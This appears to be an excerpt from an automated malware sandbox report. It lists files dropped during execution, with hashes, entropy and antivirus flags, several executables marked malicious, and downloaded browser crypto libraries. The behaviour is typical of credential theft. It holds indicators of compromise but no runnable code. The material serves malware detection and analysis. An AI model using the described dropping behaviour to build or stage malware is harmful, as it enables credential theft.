..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\66AE.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.367899416177239
Encrypted:	false
SSDEEP:	24:ML9E4KrL1qE4GiD0E4KeGiKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKn1qHGiD0HKeGiYHKGD8AoPtHTG1Q
MD5:	7115A3215A4C22EF20AB9AF4160EE8F5
SHA1:	A4CAB34355971C1FBAABECEFA91458C4936F2C24
SHA-256:	A4A689E8149166591F94A8C84E99BE744992B9E80BDB7A0713453EB6C59BBBB2
SHA-512:	2CEF2BCD284265B147ABF300A4D26AD1AAC743EFE0B47A394FB614B6843A60B9F918E56261A56334078D0D9681132F3403FB734EE66E1915CF76F29411D5CE20
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mozglue[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\vcruntime140[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\softokn3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\msvcp140[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\freebl3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\nss3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11018295930046493
Encrypted:	false
SSDEEP:	12:26PXm/Ey6q9995Upnq3qQ10nMCldimE8eawHjcaG:26+l68SqLyMCldzE9BHjcaG
MD5:	B457BCF38C7C76C02EC9BCB7DD4F4452
SHA1:	DC13E3490AC0B671AD794DE573FBF5DB0467D8F0
SHA-256:	053079CFA936A5A2D7DBF5B5CFBE3EB2F3EA1CBA731618016889B170ED85A15B
SHA-512:	F8FB072BD815813AA60EFB32594B1815A072B28D71517FD3F3FA5E38E3A39839E5EE075D25F638482CA3323D0F4A3DDB2842AE5143635D01BEDCC7196F2B6C2A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l..........A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .....E...+...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.l..........A....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1125575794399701
Encrypted:	false
SSDEEP:	12:pXm/Ey6q9995Utrx1miM3qQ10nMCldimE8eawHza1miIMAq:Ul68ux1tMLyMCldzE9BHza1tIMB
MD5:	389FAA436B2FC9B5A5F8FE6D96E6A203
SHA1:	3A9B94699A672C91358B0D3BB3B9A3CA4E2BCA8A
SHA-256:	AA08515A9C81706BBBFD10ACF0749C16CFC5386FDBADDBFDC0DB8BC64EA7E1E7
SHA-512:	EF2DEA312ADA68378F3FF1A68D7DAE95D07ECC4A93034B4CFC8A37A208498F4E302CC27EE1376BB46890C3BE1DF363F4189DC98D1D28B45EFB352DF458625F90
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l.......^m.A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .........+...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.l........x.A....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11264048708225269
Encrypted:	false
SSDEEP:	12:47Xm/Ey6q9995Urx1mK2P3qQ10nMCldimE8eawHza1mKJ:7l680x1iPLyMCldzE9BHza1l
MD5:	76E1E1702BCB92DAE17BFB5FE43D91DF
SHA1:	346F52E020EDFE0455F71CB35E1674CE443D1AEB
SHA-256:	6675ACD24333E8FE13D1010AC1AD6ACBEC4C9F016BD8870F42265A62A8622C82
SHA-512:	9880B2A1F14000A411D6DC524736FAF5CD8B1A1FD4572F96EB3F3DA1FFB484DFD4DF9A403FFD25E373BE48C97C9E39D394F7032C6F4AE300746390030BAE6B72
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l.......9J.A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .....>..+...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.l........h.A....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5AF4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.000383259800236
Encrypted:	false
SSDEEP:	96:wpMyid82EdNqPXX9vO2wiEz7pc7vEroIQ9dNcfKdroIZdNg5sZroI7DNgsFlZgN+:w2d82Edwftwi+pAe45D4mdlMiY
MD5:	A69E12607D01237460808FA1709E5E86
SHA1:	4A12F82AEE1C90E70CDF6BE863CE1A749C8AE411
SHA-256:	188E05EFB42C1F7FDB5C910A6614F710A87AE642B23AC9FFE3F75246744865BC
SHA-512:	7533E6DA6BAC0405FC8B608DA8020B54B6EE02592E6FD40EA342E130A8A876AE5EF4A1FD636D95E76339DBF8BE45CECBD22CA2D0A4635B055FFAFEC3D7E15284
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...........6......5.....t5.....Rich.*..................PE..L.....:].................0... ......x........@....@..........................`.......b......................................T...(....P..\|...................................................................0... ....................................text...P".......0.................. ..`.data........@.......@..............@....rsrc...\|....P.......P..............@..@...I............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6209.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433664
Entropy (8bit):	7.676581263893313
Encrypted:	false
SSDEEP:	6144:uNq1WXD5yiJI0xfsctUk++TO8iw+bwu5pIQP1wb+hYYQpqbZnaBb:uUWzTiUtUkdLqbwc/1wb+hYYQpqbZw
MD5:	5C8050E907434066C6857344215641A4
SHA1:	EF7BABA758B95B0981ACFDAC7EB5277DF0B8164A
SHA-256:	2B18D06C8DCD5526C85B3ADEC55515B410B2C80EA586D26E02F3C238B93579B8
SHA-512:	13B8DA7D3BEC8C282116AF1338FF306EED00DCC6FAFC21CAB985814F64848508622E6ABCEBBB74F676060F498F1F73098CC9489549B626DD540F3AB573AE6242
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....;._.................r...`.......$............@..................................D..............................`...T...@...<..........................................................h....... ...@............................................text...Qp.......r.................. ..`.rdata...@.......B...v..............@..@.data...8.......:..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\66AE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	542208
Entropy (8bit):	7.728739568256964
Encrypted:	false
SSDEEP:	12288:EVklBY4cFhfU+rFDAGOmw8E5X4TnBhsaMJcR/V:EVklBRcrf/FDAGOmSunBhsId
MD5:	68D5331A8418C4089BB7C0F524C77728
SHA1:	9FF36FB8F4132B44AF8483BF6CA8CE82B9BE8236
SHA-256:	6004220AA5D81F1B80C49CA0E18F8332292AE4E2B09898469C04CF96460359B1
SHA-512:	BA859C3D25A4BF4C321E9869F147800C6767AE9B51CF145317F83EB25D7D66ADFEDAAFB668A312B9FFD15F05F076EFE309ABF11F7BE21CD1FFD5B7920B797A2F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0......B.......4... ........@.. ....................................@..................................3..W....@..X..........................04............................................... ............... ..H............text........ ...................... ..`.rsrc...X...@...,..................@..@.reloc...............D..............@..B.................3......H.......0_..$F...............V..........................................\./.?.@.#.:.[.]...............9.........t.+...$61l.....y]4.....&.[c.%j.$._T.^..z.....M.'.....,k..7L.3..\....5...:.vV@..<..0...........(.................4....0.....................UU..4....0.........................4....0.....................77..4....0.....................77..4....0.....................77..4....0.....................77..4....0.........................4....0..........*...A.......

C:\Users\user\AppData\Local\Temp\6A0A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	624640
Entropy (8bit):	7.668662071231235
Encrypted:	false
SSDEEP:	12288:3VYXfoXc/96ZuQa+OfbgtNTd4R/Ke/8x/TYNNs4FhWAcxPhdp/:woXcd+Y2EBK+8xs0XAcxLp/
MD5:	BF40705CBA9708182B61956985895005
SHA1:	174C659E0D225B1EA0EB5A7E8D30911D17AD06A4
SHA-256:	6325C9FFBEDD8D4A4D676D6DC5E790E6D99A65F1E3C621DF7EC275AB7B047565
SHA-512:	F01C4764675238503776B00B0B72E0727C531908499043B4043029F495DC2F8C19DB281C98EC00FDC74E5A67ECFBC7F04A2C10FEFB0BA03E5D28B9D8DE292600
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&..zb..)b..)b..)\|.')...)\|.1).)\|.6)Z..)Em.)e..)b..).)\|.8)c..)\|.&)c..)\|.#)c..)Richb..)........PE..L...@9[^.................L...................`....@.......................... ......Cr......................................,...P.......`5..........................`b..................................@............`...............................text....K.......L.................. ..`.rdata.......`.......P..............@..@.data...\|........R..................@....rsrc...`5.......6...R..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\76BD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3238840
Entropy (8bit):	7.865140899006048
Encrypted:	false
SSDEEP:	49152:s0jllSZDgpa/IkggmZW+GDlUbT5e3XVs2P7JnbUdLd27EjQvAPP:/lEOalV6aabNe3XVxP5b+47oQv0P
MD5:	9AA6DD10E0BFB49BAA17F04F44B9DCD3
SHA1:	09AD5A6AE8A6396E7BDF783CD124417CD7515C7A
SHA-256:	A07CF8A0E1FADC8AB20DBE35341F1FEBB3A0B2E42C8F5991C0CC397B130D7621
SHA-512:	601F36F703EE396DBA325349AA25440270C1CEE6E069146C1ED7F03E96FE5FC30DEAD138E7F3B713549B815635E64AA97A10054E71A415690E622C417BBFBB4D
Malicious:	true
